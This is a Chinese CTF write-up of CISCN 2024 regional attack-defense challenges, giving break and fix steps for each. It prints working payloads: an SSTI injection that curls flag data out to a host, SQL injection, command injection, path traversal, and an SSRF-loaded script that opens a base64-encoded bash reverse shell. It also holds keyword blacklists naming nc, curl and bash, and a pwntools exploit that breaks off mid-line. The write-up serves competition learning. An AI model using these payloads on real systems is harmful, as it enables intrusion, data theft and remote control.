点击蓝字
关注我们
声明
本文作者:CTF战队-xia0le
本文字数:约6800字
阅读时长:约18分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
❝
CISCN 华东北 2024
比赛附件关注公众号“WgpSec狼组安全团队” 回复 CISCN2024-华东北 下载
WEB
python-1
break
payload 禁用了print函数,使用如下payload进行无回显攻击,本地开启端口,如果拼接函数popen和命令curl
name={%set x=cycler.next.__globals__.__builtins__.__import__('os')['p''open']('cu'+'rl http://10.101.64.15:8081/`sort /fl*`').read()%}
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/0-1719447817.png)
fix
添加黑名单 {% %}
# -*- coding: UTF-8 -*-
from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
def blacklist(name):
blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args","{%","%}"]
for keyword in blacklists:
if keyword in name:
return True
return False
@app.route("/", methods=["GET","POST"])
def index():
if request.method == "POST":
try:
name = request.form['name']
names = blacklist(name)
if names == True:
return "Oh,False!"
html = '''<html><head><title>^_^</title></head><body><div><h1>Hello: %s</h1></div></body></html>''' % name
return render_template_string(html)
except ValueError:
pass
else:
html = '''<html><head><title>^_^</title></head><body><div><h1>Change.</h1></div></body></html>'''
return render_template_string(html)
python-2
break
题目非预期了,给的db里就有flag
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/1-1719447818.png)
fix
这里存在sql注入,注释即可
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/6-1719447818.png)
php-1
fix
d盾扫描出来后门,注释即可
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/4-1719447819.png)
php-2
break
/var/www/html/action/adminuser/searchmodify.php
存在sql注入漏洞 大小写绕过union和select
http://192.64.1.3/adminuser.php?action=searchmodify&id=-1' Union seLEct NULL,CONCAT(0x1,iFNULL(CAST(`name` AS CHAR),0x20),0x1),NULL,NULL FROM cf.flag-- -
fix
添加转义addslashes函数
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/5-1719447820.png)
php-3
break
glob协议爆破文件
import requests
import time
strings = "dqazwsxedcrfvtgb1234567890yhnujmikolpphp."
tmp = ""
for i in strings:
url = "http://192.64.1.149/?path=glob:///var/www/html/"+tmp+i+'*'
print(url)
res = requests.get(url=url).text
if "yes,it exists" in res:
tmp += i
print(tmp)
time.sleep(1)
然后得到页面d88554c739859dfe.php
<?php
#flag in /flag.txt
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
// Set blacklist
$substitutions = array(
' ' => '',
'flag' => '',
'cat' =>'',
'&&' =>'',
'||' =>'',
'%0a'=>'',
'less'=>'',
'more'=>'',
'%0d'=>'',
'|'=>'',
'&'=>'',
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{
echo "Not very good";
}
else
{
system($cmd);
}
http://192.64.1.149/d88554c739859dfe.php?cmd=sort%09/f*
fix
flag替換成123
<?php
#flag in /flag.txt
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
// Set blacklist
$substitutions = array(
' ' => '',
'flag' => '123',
'cat' =>'',
'&&' =>'',
'||' =>'',
'%0a'=>'',
'less'=>'',
'more'=>'',
'%0d'=>'',
'|'=>'',
'&'=>'',
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{
echo "Not very good";
}
else
{
system($cmd);
}
php-4
break
漏洞文件:
/var/www/html/admin/inclues/set_page.php
直接目录穿越进行文件读取
http://192.64.1.106/admin/admin.php?act=set_footer&file=../../../../../../../flag.txt
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/2-1719447820.png)
Fix
加个替换,将..替换成空
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/0-1719447821.png)
java-1
break
ssrf 绕过本地限制即可
读取远程恶意js文件
http://192.44.1.112:8080/geturl?url=http://127.0.0.1:8080/cmd?test=http://10.101.64.12/poc.js
var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwMS42NC4xMi85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}");}
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/10-1719447822.png)
fix
注释加载恶意js的地方即可
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/1-1719447823.png)
java-2
fix
jdbc反序列化,直接将连接数据库注释
PWN
pwn-1
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/2-1719447824.png)
Fix
-
stack 可执行,
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/3-1719447825.png)
-
把 stack 默认权限改成 rw
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/2-1719447826.png)
![CISCN华东北 2024 比赛题解 CISCN华东北 2024 比赛题解](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/06/0-1719447827.png)
break
格式化字符串漏洞泄露 canary和stack 地址 然后栈溢出 ret2 shellcode
from pwn import *
import sys
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(str(delim), data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(str(delim), data)
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
rl = lambda :io.recvline()
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
ls = lambda data :log.success(data)
lss = lambda s :log.success(' 33[1;31;40m%s --> 0x%x